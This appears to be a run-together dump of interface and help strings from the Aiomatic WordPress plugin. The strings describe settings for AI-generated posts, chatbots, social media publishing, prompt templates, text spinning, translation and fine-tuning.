%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the link of the Instagram image postSet the link of the Instagram image post. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the link of the LinkedIn post imageSet the link of the LinkedIn post image. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the link of the Pinterest image postSet the link of the Pinterest image post. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the link of the X (Twitter) post imageSet the link of the X (Twitter) post image. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the link of the YouTube Community post image. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the location of the saved file.Set the main Facebook post contentSet the main Facebook post content. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the main Google My Business post contentSet the main Google My Business post content. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the main LinkedIn post contentSet the main LinkedIn post content. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the main LinkedIn post descriptionSet the main LinkedIn post description. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the main LinkedIn post linkSet the main LinkedIn post link. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the main LinkedIn post titleSet the main LinkedIn post title. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the main Reddit post contentSet the main Reddit post content. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the main Reddit post titleSet the main Reddit post title. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the main X (Twitter) post contentSet the main X (Twitter) post content. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the main YouTube Community post contentSet the main YouTube Community post content. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the main file contentSet the main file content. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the main keywords which will be processed by this automation task. Enter a keyword on each line. You will be able to access the values of these keywords, from the AI process, using the following shortcode: %%keyword%%Set the main webhook contentSet the main webhook content. If you selected JSON type content, enter a valid JSON structure here. If you selected Form Data, enter the form data in this structure: key => value (add new key/value combinations on a new line). Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the maximum chat messages to send as API context. Default is to send as much as possible, to the AI, depending on model accepted token size.Set the maximum height of the player in pixels. Default value is 380.Set the maximum input length for user messages.Set the maximum length in characters of the resulting stringSet the maximum length in characters of the resulting string. If the captions are longer than this value, they will shortened.Set the maximum length of captions in prompts. This is useful to have, when captions can be very long.Set the maximum number of API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. Note that in this value the number of tokens sent to the API as an article prompt will also be counted. For other models, the maximum is 2048.Set the maximum number of API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. Note that in this value the number of tokens sent to the API as an article prompt will also be counted. The maximum amount which can be set is 4000. For other models, the maximum is 2048.Set the maximum number of API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. Note that in this value the number of tokens sent to the API as an article prompt will also be counted. The maximum amount which can be set it 4000.Set the maximum number of automatic links to add to created posts. You can also define custom ranges, like: 3-5. Please note that this feature will work best if you already have a considerable number of posts published on your site, which will be used for internal linking.Set the maximum number of automatic links to add to created posts. You can also define custom ranges, like: 3-5. Please note that this feature will work best if you already have a considerable number of posts published on your site, which will be used for internal linking. The default value for this settings field is 3-5Set the maximum number of characters to keep from the scraped dataSet the maximum number of characters to keep from the scraped data.Set the maximum number of continue API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 500.Set the maximum number of continue API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set it 2048.Set the maximum number of items to processSet the maximum number of items to process. This will make the plugin process up to the maximum number of feed items and include them in the final result.Set the maximum number of items to process. This will make the plugin process up to the maximum number of search results items and include them in the final result.Set the maximum number of lines to process. This field is optional.Set the maximum number of posts to be processed at each run.Set the maximum number of products to add in the product listingSet the maximum number of products to add in the product listing. You can also set a variable number of products, case in which a random number will be selected from the range you specify. Example 5-7Set the maximum number of prompt API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 1000.Set the maximum number of prompt API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set it 1000.Set the maximum number of related headings to add to the created post content. This feature will use the 'People Also Ask' feature from Google and Bing. By default, the Bing engine is scraped, if you want to enable also Google scraping, add a SerpAPI key in the plugin's 'Main Settings' menu -> 'SerpAPI API Key' settings field.Set the maximum number of related images to add to the created post content. This feature will use the 'Royalty Free Image' settings from the plugin's 'Main Settings' menu or if you have access to the DallE API.Set the maximum number of related images to add to the created post content. This feature will use the 'Royalty Free Image' settings from the plugin's 'Main Settings' menu.'Set the maximum number of related images to add to the created post content. This feature will use the royalty free image sources configured in the plugin's 'Main Settings' menu or if you have access to the DallE API.Set the maximum number of result API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set it 2048.Set the maximum number of seconds the plugin will wait for API requests. The default is 120 seconds.Set the maximum number of taxonomies to be processed at each run.Set the maximum number of times the plugin will retry API calls in case they fail. This is useful, as in some cases OpenAI API is failing and a retry will work. To disable this feature, leave this field blank. This feature is currently not supported if the chatbot is in streaming mode.Set the maximum number of times the plugin will retry chat API calls in case the AI writer considers the chat as ended. Warning, this can consume more tokens, as it will retry API calls multiple times. To disable this feature, leave this field blank.Set the maximum width of the player in pixels. Default value is 580.Set the message to be displayed to logged in users when usage limit is reached for the 'Rule Based Restrictions'.Set the message to be displayed to logged in users when usage limit is reached.Set the message to be displayed to not logged in users when usage limit is reached.Set the message to show to restricted users.Set the model to be used for the AI content creation.Set the model to use for the Content Wizard feature.Set the multiline input which will be cut to lines and will be used to call the below prompt, for each of its lines. This input will be cut up to multiple lines and will create the %%current_input_line%% shortcode, usable below. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the multiline input, which will be used to call the AISet the name of the AI Assistant. This will be prepended to each AI message. This is useful to teach the AI chatbot about its role and name. List of supported shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, %%user_display_name%%, %%user_role%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%, %%user_url%%, %%user_description%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to usersm using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the seed command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).Set the name of the AI. This will be prepended to each AI message. This is useful to teach the AI chatbot about its role and name.Set the name of the AI. This will be prepended to each AI message. This is useful to teach the AI chatbot about its role and name. List of supported shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, %%user_display_name%%, %%user_role%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%, %%user_url%%, %%user_description%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to usersm using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the seed command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).Set the name of the OmniBlock template to save.Set the name of the command, which will appear in the post editor.Set the name of the custom field which will be set to posts which were already edited. Changing this can be useful if you want to reedit already edited posts. The default is: aiomatic_publishedSet the name of the user. This will be prepended to each user message. This is useful to teach the AI chatbot about its role and name.Set the name of the user. This will be prepended to each user message. This is useful to teach the AI chatbot about its role and name. List of supported shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, %%user_display_name%%, %%user_role%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%, %%user_url%%, %%user_description%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to usersm using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the seed command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).Set the name of this assistant.Set the name of this persona.Set the number of related YouTube videos to add to the created post content. The maximum number of videos you can add to each article: number of sectionsSet the number of related images to add to the created post content. This feature will use the royalty free image sources configured in the plugin's 'Main Settings' menu or if you have access to the DallE API. You can change image source in the 'AI Image Source' settings field from below. The maximum number of images you can add to each article: number of sections + 2Set the number of related videos to add to the created post content. The maximum number of videos you can add to each article: number of sectionsSet the numeric ID of the author of the postSet the parameters which will be used in this OmniBlock.Set the path on your local server of the phantomjs executable. If you leave this field blank, the default 'phantomjs' call will be used. How to install PhantomJs?Set the placeholder text of the chat input. The default is: Enter your chat message here.Set the placeholder text of the chat input. The default is: empty.Set the post types where to create automatic links in posts. You can also add a comma separated list of multiple post types.Set the prompt completion to be sent to the AI writer, so it will become aware that it can send emails. This prompt will be added to the conversation only when the user enteres in the message sent to the AI, any of the following keywords: email, e-mailSet the prompt to be sent to the AI when clicking on this command in post editor. You can use the %%selected_text%% shortcode also.Set the prompt to be used for the AI Comment Writer feature. You can use the following shortcodes here: %%post_title%%, %%post_excerpt%%, %%username%%, %%comment%% - default is: Write a reply for %%username%%'s comment on the post titled "%%post_title%%". The user's comment is: %%comment%%Set the prompt to be used for the AI Default Featured Image Selector. You can use the following shortcodes: %%post_title%%, %%image_list%% - The default value for this settings field is: Select an image URL, based on its file name, which matches the best the post, based on its title. If no matching image can be selected, pick a random one from the list. Respond only with the URL of the selected image and with nothing else. The title of the post is: "%%post_title%%" The image URL list is: %%image_list%%Set the prompt to be used for the AI Linking Keyword Extraction feature. You can use the following shortcodes here: %%content%% - the default value for this field is: Extract a comma-separated list of the most relevant keywords from the text, prioritizing specific references over general keywords. Add the highest priority to the most specific keyword that is still related to the main topic. The text is: %%content%%.Set the prompt to be used for the AI Taxonomy Description Writer feature. You can use the following shortcodes here: %%term_name%%, %%term_id%%, %%term_slug%%, %%term_description%%, %%term_taxonomy_name%%, %%term_taxonomy_id%% - default is: Write a description for a WordPress %%term_taxonomy_name%% with the following title: "%%term_name%%"Set the prompt to be used for the AI Taxonomy SEO Description Writer feature. You can use the following shortcodes here: %%term_name%%, %%term_id%%, %%term_slug%%, %%term_description%%, %%term_taxonomy_name%%, %%term_taxonomy_id%% - default is: Write a description for a WordPress %%term_taxonomy_name%% with the following title: "%%term_name%%". This will set the SEO description for the following SEO plugins: Yoast SEO, All In One SEO, Rank Math.Set the prompt to be used for the AI writer to create Content. You can use the following shortcodes here: %%post_title_idea%%, %%post_title%%, %%post_excerpt%%, %%post_content%%, %%post_type%% - default value is: Create a captivating and comprehensive English description for your WordPress %%post_type%%: "%%post_title_idea%%". Dive into specific details, highlighting its unique features of this subject, if possible, benefits, and the value it brings. Craft a compelling narrative around the %%post_type%% that captivates the audience. Use HTML for formatting, include unnumbered lists and bold. Writing Style: Creative. Tone: Neutral.Set the prompt to be used for the AI writer to create Excerpt. You can use the following shortcodes here: %%post_title_idea%%, %%post_title%%, %%post_excerpt%%, %%post_content%%, %%post_type%% - default value is: Write a captivating and succinct English summary for the WordPress %%post_type%%: "%%post_title_idea%%", accentuating its pivotal features, advantages, and distinctive qualities.Set the prompt to be used for the AI writer to create SEO Meta Descriptions. You can use the following shortcodes here: %%post_title_idea%%, %%post_title%%, %%post_excerpt%%, %%post_content%%, %%post_type%% - default value is: Craft an enticing and succinct meta description in English for your WordPress %%post_type%%: "%%post_title_idea%%". Emphasize the notable features and advantages in just 155 characters, incorporating relevant keywords to optimize its SEO performance.Set the prompt to be used for the AI writer to create Tags. You can use the following shortcodes here: %%post_title_idea%%, %%post_title%%, %%post_excerpt%%, %%post_content%%, %%post_type%% - default value is: Suggest a series of pertinent keywords in English for your WordPress %%post_type%%: "%%post_title_idea%%". These keywords should be closely connected to the %%post_type%%, optimizing its visibility. Please present the keywords in a comma-separated format without using symbols like -, #, etc.Set the prompt to be used for the AI writer to create titles. You can use the following shortcodes here: %%post_title_idea%%, %%post_title%%, %%post_excerpt%%, %%post_content%%, %%post_type%% - default value is: Create a captivating and concise SEO title in English for your WordPress %%post_type%%: "%%post_title_idea%%". Boost its search engine visibility with relevant keywords for maximum impact.Set the prompt to be used for the YouTube Video search keyword extractor. You can use the following shortcode: %%aiomatic_query%% - The default value for this settings field is: Using which keyword or search phrase should I search YouTube, to get the most relevant videos for this text? Provide a single variant, write only a single keyword or phrase, nothing else. The text is: "%%aiomatic_query%%"Set the prompt which will be sent to the AI content writer. You can use shortcodes to get the input values entered by users in the form. The shortcodes need to be in the following format: %%ID_of_the_input_field%%Set the prompt which will be sent to the AI. Add a context to the AI chatbot, so it knows how to act and how to respond to customers. You can define here the language, tone of voice and role of the AI assistant. Any other settings will also be able to be defined here. This text will be preppended to each conversation, to teach the AI some additional info about you or its behavior. This text will not be displayed to users, it will be only sent to the chatbot. You can also use shortcodes in this field. List of supported shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, %%user_display_name%%, %%user_role%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%, %%user_url%%, %%user_description%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to usersm using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the seed command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).Set the prompt you will use when searching for related headings. You can use the following shortcodes: %%post_title%%, %%needed_heading_count%%. The same model will be used, as the one selected for content creation. If you leave this field blank, the default prompt will be used: 'Write %%needed_heading_count%% PAA related questions, each on a new line, for the title: %%post_title%%'Set the prompt you will use when searching for related headings. You can use the following shortcodes: %%post_title%%, %%needed_heading_count%%. The same model will be used, as the one selected for content creation. If you leave this field blank, the default prompt will be used: 'Write %%needed_heading_count%% PAA related questions, each on a new line, for the title: %%post_title%%' You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set the required words list that will apply to all plugin rules.Set the role of the AI Assistant. This info is only informative, will appear only in the chatbot interface, is not sent to the AI writer. Be sure to add the role in the 'Chatbot Context' settings field, for it to take effect in the AI writer.Set the role of this persona.Set the separator of the CSV file. It is usually auto detected, however, if you have issues with auto detection, you can set the CSV separator here.Set the size of the generated featured image.Set the size of the image which will be sent to the AI video generator. Original images will be resized to the selected image size before sending.Set the slug of the postSet the slug of the post (the post URL/name). If you leave this field blank, WordPress will automatically generate the slug of the post from the post tile. Any text that you enter here will be URL encoded, to be compatible with slug creation. The length of the slug should not exceed 200 characters.Set the source image URL which will be sent to the video generatorSet the source image URL which will be sent to the video generator.Set the subject of the email to be sentSet the subject of the email to be sent. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the submit button text of this form.Set the subreddits where to publish the content (one per line)Set the subreddits where to publish the content (one per line).Set the template of the resulting string, which will be built after parsing the RSS feedSet the template of the resulting string, which will be built after parsing the RSS feed. You can use the following shortcodes, which will map to the values of each RSS feed item: %%item_counter%%, %%item_title%%, %%item_content%%, %%item_description%%, %%item_url%%, %%item_author%%, %%item_categories%%, %%item_scraped_data%% - the %%item_scraped_data%% shortcode will be usable only if you enable the 'Scrape Links' feature from below.Set the template of the resulting string, which will be built after parsing the search resultsSet the template of the resulting string, which will be built after parsing the search results. You can use the following shortcodes, which will map to the values of each search results item: %%item_counter%%, %%item_title%%, %%item_snippet%%, %%item_url%%, %%item_scraped_data%% - the %%item_scraped_data%% shortcode will be usable only if you enable the 'Scrape Links' feature from below.Set the text of the Customer Reviews Analysis section header. Default is: Customer Reviews AnalysisSet the text of the Instagram imageSet the text of the Instagram image. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the text of the Pros & Cons section header. Default is: Pros & ConsSet the text of the Q&A section header. Default is: Q&ASet the text of the Table of Contents section header. Default is: Table of ContentsSet the text of the outro section header. This is optional.Set the text of the prompt selection placeholder. The default is: Please select a promptSet the text of the submit button. The default is: SubmitSet the text to be appended to each content block which was created by this OmniBlock.Set the text to be prepend to each content block which was created by this OmniBlock.Set the timeout (in milliseconds) between each subsequent API & scraping call. This will allow API call throttling, so the API call quota limit is not reached for your account.Set the timeout (in milliseconds) for every headless browser running. I recommend that you leave this field at it's default value (30000). If you leave this field blank, the default value will be used.Set the timeout (in seconds) for every rule running and also for automatic post editing. I recommend that you leave this field at it's default value (3600).Set the title of the Pinterest pinSet the title of the Pinterest pin. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the title of the post to be createdSet the title of the post to be created. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the title of this form.Set the type of the prompt you are creating.Set the type of this form.Set the user message which appears when the pdf file upload failed.Set the user message which appears when the pdf file was uploaded successfully.Set the user message which appears when the pdf session was ended by the user.Set the webhook URL where to submit the contentSet the webhook URL where to submit the content.Set the width of the chatbot form embedded. Default is 460pxSet the writing style of the created content. This will set the value of the %%writing_style%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set the writing tone of the created content. This will set the value of the %%writing_tone%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set this input field as required (form cannot be submitted unless this is filled up).Set up additional shortcodes which will be available in OmniBlocks.Set what information do you want to add into each product listing entrySet what information do you want to add into each product listing entry. You can use the following shortcodes to get data for specific products: %%product_counter%%, %%product_title%%, %%product_description%%, %%product_url%%, %%product_price%%, %%product_list_price%%, %%product_image%%, %%product_cart_url%%, %%product_images_urls%%, %%product_images%%, %%product_reviews%%Set what model to use when generating images. Default is stable-diffusion-512-v2-1.Set what preset to use when generating images. Default is NONE.Set where you would like to add the AI assistant result - above or below the selected text.Set your API own API key which will allow access to your webhookSet your API own API key which will allow access to your webhook. This will prevent unauthorized requests from accessing the webhook.SettingSetting Up Your API KeySettingsSettings saved.ShonaShona (Google Translate)Short Description PromptShortcodeShortcode alternative: Shortcode created by OmniBlock ID: Shortcode for this rule
                    (to cross-post from this plugin in other plugins):ShowShow Advanced Form Options For Users:Show Chat Clearing Button:Show Chat Log TXT File Download Button:Show Chatbot Header:Show Header On Front End*Show The Chatbot Between Specific Hours Each Day:Show Tutorial VideoShow WP Rich Text Editor Input For AI Form Results:Show all templatesShow/Hide Advanced Model SettingsShow/Hide Categories ListShow/Hide ParametersShows advanced settings for this rule.Simulate Post EditingSindhiSindhi (Google Translate)SingaporeSingle AI Post CreatorSingle Message Max Input Length (Characters):Single Product ASIN or KeywordSinhalaSinhala (Google Translate)Site URLSite URL:SizeSkip Importing of Article If No Free Image Found: Skip Post Content Editing:Skip Post Excerpt Editing:Skip Post Title Editing:Skip Processing Of These Post IDs:SlovakSlovak (Google Translate)SlovenianSlovenian (Google Translate)Small home speakerSmart home speakerSmart watch or wearableSmartphoneSomaliSomali (Google Translate)Some Important Notes:Some general system information.Sort Amazon Results BySort Results BySort Results By:SourceSource Image URLSource: The source of the request.South America 1 (Sao Paulo)SpainSpanishSpanish (Google Translate)Speaker Boost:Specify default language for regional content.Speech to Text Using the Whisper APISpeech to text is a feature where the AI converts speech to text. You would typically record a piece of audio, and the AI would transcribe it into text. This could be useful for a variety of purposes, such as transcribing interviews, dictating notes, or making audio content more accessible.Spin & Translate:Spin Text Using Word Synonyms (for automatically generated posts only):Spins the text and rewrites it, making it unique. For this feature to work, you need to select a text spinner service from the plugin's 'Main Settings' menu -> 'Bulk Posts' tab -> 'Spin Text Using Word Synonyms' settings field.SportsStability.AIStability.AI API Settings:Stability.AI API:Stable Diffusion ImageStable Diffusion Image GeneratorStable Diffusion Tutorial Video:StandardStart ProcessingStartedStatisticsStatistics Settings:StatusStepStep 0: Read this tutorial carefully and watch the tutorial videoStep 0: TutorialStep 1: Create your data for embeddingsStep 1: Create your data for fine-tuningStep 1: Customize the Chatbot BehaviorStep 1a: Add A New EmbeddingStep 1a: Dataset UploaderStep 1a: Import the default AI FormsStep 1a: Set Up Your AssistantStep 1b: Create your own AI FormsStep 1b: Dataset Manual EntryStep 1b: Set Up Your AssistantStep 1b: Upload Embeddings from CSVStep 1c: Dataset ConverterStep 2: Add the Chatbot to Your WebsiteStep 2: Auto Index Existing PostsStep 2: DatasetsStep 2: Select The Assistants To Be Used In Plugin SettingsStep 2: Start training your modelStep 2: Use the AI FormsStep 3: Check progress of the fine tuneStep 3: List Added EmbeddingsStep 3: Model FinetunesStep 3: Test the ChatbotStickyStore royalty-free or AI-generated images on Amazon S3Strip All HTML TagsStrip JavaScript From Chatbot HTML Responses:Strip Title From ContentStrip Title From Content:Style Exaggeration:Style Preset:StylingSubmit Button Alignment:Submit Button Color:Submit Button Location:Submit Button Text Color:Submit Button Text*Subreddits Where To Publish PostsSubscription Plan:SuccessSuggest a series of pertinent keywords in English for your WordPress %s: "%s". These keywords should be closely connected to the %s, optimizing its visibility. Please present the keywords in a comma-separated format without using symbols like -, #, etc.Suhosin Post Max Value LengthSuhosin Post Max Value Length:Suhosin Post Max VarsSuhosin Post Max Vars:Suhosin Request Max VarsSuhosin Request Max Vars:Suhosin is an advanced protection system for PHP installations. It was designed to protect your servers on the one hand against a number of well known problems in PHP applications and on the other hand against potential unknown vulnerabilities within these applications or the PHP core itself. If enabled on your server, Suhosin may need to be configured to increase its data submission limits.SundaneseSundanese (Google Translate)SupportSupported Until:SwahiliSwahili (Google Translate)SwedenSwedishSwedish (Google Translate)SyncSync ElevenLabs.io Voices:Sync EmbeddingsSync FilesSync Fine-tunesSync FormsSync Google Text-to-Speech Voices:Sync OmniBlock FilesSync PersonasSystemSystem InfoSystem InformationTIP: Check more details on training prompt design recommendations,TIP: You don't need to add prompt or completition suffixes in the data from above, as the plugin will handle this automatically, it will automatically add to your data the suffixes defined in the plugin's 'Main Settings' menu.Tag Names:Tag1, Tag2, Tag3Tags PromptTajikTajik (Google Translate)TamilTamil (Google Translate)Target ContentTatarTatar (Google Translate)TeluguTelugu (Google Translate)TemperatureTemplate For the %%web_results%% Shortcode:TestTextText CompletionText Completion ShortcodesText EditingText Editing ShortcodeText For Prompt Templates Selection:Text ModerationText SpinnerText To Append To Each Content BlockText To Audio/Video Template:Text To Be SpunText To Be TranslatedText To Prepend To Each Content BlockText TranslatorText completion is a feature where the AI can continue a text entered by the user. To use this feature, you would typically enter a piece of text, and the AI would generate a continuation of that text. This could be used for a variety of purposes, such as generating ideas for a story or completing a sentence in a natural-sounding way.Text editing is a feature where the AI can be instructed to edit a text in multiple different ways. For example, you might input a piece of text and ask the AI to rewrite it in a more formal or informal tone, to simplify it, or to correct any grammatical errors. This could be useful for improving the quality of written content or adapting it for different audiences.Text moderation is a feature where the AI filters unwanted content from your site. You would typically set up rules or criteria for what constitutes unwanted content, and the AI would review incoming content and filter out anything that meets those criteria. This could be used for a variety of purposes, such as preventing spam, blocking offensive content, or maintaining a positive community environment.Text to Audio/Video Options:Text to appendText to prependText-to-Speech API Settings:Text-to-Speech Restrictions For Logged In Users:Text-to-Speech Restrictions For Not Logged In Users:Text-to-Speech Usage LimitsText-to-Speech/VideoText-to-Video API Settings:TextRazorTextRazor API Key List (Optional) (Used for Relevant Keyword Extraction From Text):TextRazor API:TextareaThaiThai (Google Translate)Thank you for choosing Aiomatic, and I look forward to the plugin helping you create amazing content and features for your WordPress site!That's it! You've successfully set up an AI-powered Assistant on your WordPress website using the Aiomatic plugin. This Assistant can be a valuable tool for engaging with your website visitors, answering frequently asked questions, and providing personalized assistance, or even create content for your site which is highly focused on your specific needs.That's it! You've successfully set up an AI-powered chatbot on your WordPress website using the Aiomatic plugin. This chatbot can be a valuable tool for engaging with your website visitors, answering frequently asked questions, and providing personalized assistance.The %%ai_generated_title%% shortcode can be used in the 'Post Title List / TXT File URL / RSS Feed URL' settings field, to get partial or fully AI generated titles.The %s constant is set to true.The %s constant is set to true. WP-Cron spawning is disabled.The 'Featured Image from URL' plugin is not active. Please install it and activate it: The AI writer might add the title of the post to the created post content. Check this checkbox if you want to remove the title from the post contentThe AI writer might add the title of the post to the created post content. Check this checkbox if you want to remove the title from the post content.The Above Is A DeepL Free API Key:The Aiomatic plugin operates in conjunction with the OpenAI API or with AiomaticAPI (whichever you choose to use). To utilize it, you must first create an account on OpenAI and paste your API key in the plugin's settings ('API Keys' tab from the top). OpenAI offers a $5 credit for new users. If you see a message stating, "You exceeded your current quota, please check your plan and billing details" it means you've depleted your OpenAI quota and need to buy more credit from OpenAI.The Aiomatic plugin provides a robust set of features for managing and monitoring the usage of AI services. This tutorial will guide you through the 'Limits and Statistics' feature of the Aiomatic plugin.The Assistants API (or AI GPTs) is a cool feature that lets you create AI helpers in your applications, like your WordPress site. These assistants can do a bunch of stuff like run code, find information, and even call functions to get things done. Right now, it works with a few handy tools, and there's more coming soon.The Content Wizard is a feature that allows you to add a button to the WordPress editor to 